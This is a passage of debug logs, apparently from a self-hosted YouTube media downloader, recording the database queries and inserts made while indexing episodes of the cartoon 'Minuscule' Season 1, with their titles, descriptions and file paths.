multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hallowen parano/Halloween Paranoid (Season 1)", "c5d548d0-a40b-4806-8f04-55ad0231831d", "OUOePFPMeAs", 346, false, 4, "https://www.youtube.com/watch?v=OUOePFPMeAs", 83, "/downloads/Miniscule Season 1/2020-05-19 Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1)/Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1) [OUOePFPMeAs].mp4", false, false, false, [], 1, ~U[2020-05-19 14:30:03Z], ~U[2025-12-14 07:52:15Z], ~U[2025-12-14 07:52:15Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hallowen parano/Halloween Paranoid (Season 1)", "OUOePFPMeAs", 346, false, 4, "https://www.youtube.com/watch?v=OUOePFPMeAs", "/downloads/Miniscule Season 1/2020-05-19 Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1)/Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1) [OUOePFPMeAs].mp4", false, ~U[2020-05-19 14:30:03Z]] 00:52:15.131 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=485.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:15.131 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=17.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:15.133 [debug] QUERY OK source="media_items" db=0.5ms idle=17.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89065] 00:52:15.133 [debug] Current batch of media processed. Will check again in 1000ms 00:52:16.134 [debug] Current batch of media processed. Will check again in 1000ms 00:52:17.135 [debug] Current batch of media processed. Will check again in 1000ms 00:52:18.136 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 336, "filename" => "/downloads/Miniscule Season 1/2020-05-12 Minuscule - king size camembert (Season 1)/Minuscule - king size camembert (Season 1) [-bexhyoEWCs].mp4", "id" => "-bexhyoEWCs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-bexhyoEWCs", "playlist_index" => 84, "timestamp" => 1589293800, "title" => "Minuscule - king size camembert (Season 1)", "upload_date" => "20200512"} 00:52:18.137 [debug] QUERY OK source="sources" db=0.4ms idle=1492.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:18.138 [debug] QUERY OK source="sources" db=0.4ms idle=1493.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:18.140 [debug] QUERY OK source="media_items" db=1.1ms idle=1493.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-12 14:30:00Z], 4] 00:52:18.143 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1495.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - king size camembert (Season 1)", "a1fab3ad-2ec1-4d92-807b-63642f1948f3", "-bexhyoEWCs", 336, false, 4, "https://www.youtube.com/watch?v=-bexhyoEWCs", 84, "/downloads/Miniscule Season 1/2020-05-12 Minuscule - king size camembert (Season 1)/Minuscule - king size camembert (Season 1) [-bexhyoEWCs].mp4", false, false, false, [], 1, ~U[2020-05-12 14:30:00Z], ~U[2025-12-14 07:52:18Z], ~U[2025-12-14 07:52:18Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - king size camembert (Season 1)", "-bexhyoEWCs", 336, false, 4, "https://www.youtube.com/watch?v=-bexhyoEWCs", "/downloads/Miniscule Season 1/2020-05-12 Minuscule - king size camembert (Season 1)/Minuscule - king size camembert (Season 1) [-bexhyoEWCs].mp4", false, ~U[2020-05-12 14:30:00Z]] 00:52:18.144 [debug] QUERY OK source="sources" db=0.6ms idle=538.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:18.145 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:18.146 [debug] QUERY OK source="media_items" db=0.6ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89067] 00:52:18.146 [debug] Current batch of media processed. Will check again in 1000ms 00:52:19.147 [debug] Current batch of media processed. Will check again in 1000ms 00:52:20.148 [debug] Current batch of media processed. Will check again in 1000ms 00:52:21.149 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 343, "filename" => "/downloads/Miniscule Season 1/2020-05-05 Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1)/Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1) [v_ke3Ve0mIs].mp4", "id" => "v_ke3Ve0mIs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=v_ke3Ve0mIs", "playlist_index" => 85, "timestamp" => 1588689007, "title" => "Minuscule - Bouse de la/The Dung Beetle Battle (Season 1)", "upload_date" => "20200505"} 00:52:21.150 [debug] QUERY OK source="sources" db=0.5ms idle=1504.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:21.151 [debug] QUERY OK source="sources" db=0.3ms idle=1505.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:21.152 [debug] QUERY OK source="media_items" db=1.0ms idle=1506.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-05 14:30:07Z], 4] 00:52:21.168 [debug] QUERY OK source="media_items" db=15.0ms idle=1508.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bouse de la/The Dung Beetle Battle (Season 1)", "c5b9051d-f14d-4491-a927-3d7632c62e6b", "v_ke3Ve0mIs", 343, false, 4, "https://www.youtube.com/watch?v=v_ke3Ve0mIs", 85, "/downloads/Miniscule Season 1/2020-05-05 Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1)/Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1) [v_ke3Ve0mIs].mp4", false, false, false, [], 1, ~U[2020-05-05 14:30:07Z], ~U[2025-12-14 07:52:21Z], ~U[2025-12-14 07:52:21Z], "--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bouse de la/The Dung Beetle Battle (Season 1)", "v_ke3Ve0mIs", 343, false, 4, "https://www.youtube.com/watch?v=v_ke3Ve0mIs", "/downloads/Miniscule Season 1/2020-05-05 Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1)/Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1) [v_ke3Ve0mIs].mp4", false, ~U[2020-05-05 14:30:07Z]] 00:52:21.170 [debug] QUERY OK source="sources" db=0.7ms idle=557.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:21.170 [debug] QUERY OK source="media_profiles" db=0.3ms idle=19.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:21.171 [debug] QUERY OK source="media_items" db=0.5ms idle=19.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89069] 00:52:21.171 [debug] Current batch of media processed. Will check again in 1000ms 00:52:22.173 [debug] Current batch of media processed. Will check again in 1000ms 00:52:23.174 [debug] Current batch of media processed. Will check again in 1000ms 00:52:24.175 [debug] Current batch of media processed. Will check again in 1000ms 00:52:25.176 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 333, "filename" => "/downloads/Miniscule Season 1/2020-04-28 Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1)/Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1) [g0LK1_qrzO8].mkv", "id" => "g0LK1_qrzO8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=g0LK1_qrzO8", "playlist_index" => 86, "timestamp" => 1588084205, "title" => "Minuscule - Cigale do Brazil/Cicada do Brazil (Season 1)", "upload_date" => "20200428"} 00:52:25.177 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=557.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:25.178 [debug] QUERY OK source="sources" db=0.3ms idle=532.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:25.179 [debug] QUERY OK source="media_items" db=1.1ms idle=533.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-28 14:30:05Z], 4] 00:52:25.183 [debug] QUERY OK source="media_items" db=2.2ms idle=535.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Cigale do Brazil/Cicada do Brazil (Season 1)", "7ec3dd8f-eccd-4087-af8d-9961a9ed4444", "g0LK1_qrzO8", 333, false, 4, "https://www.youtube.com/watch?v=g0LK1_qrzO8", 86, "/downloads/Miniscule Season 1/2020-04-28 Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1)/Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1) [g0LK1_qrzO8].mkv", false, false, false, [], 1, ~U[2020-04-28 14:30:05Z], ~U[2025-12-14 07:52:25Z], ~U[2025-12-14 07:52:25Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Cigale do Brazil/Cicada do Brazil (Season 1)", "g0LK1_qrzO8", 333, false, 4, "https://www.youtube.com/watch?v=g0LK1_qrzO8", "/downloads/Miniscule Season 1/2020-04-28 Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1)/Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1) [g0LK1_qrzO8].mkv", false, ~U[2020-04-28 14:30:05Z]] 00:52:25.184 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=538.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:25.184 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:25.185 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' 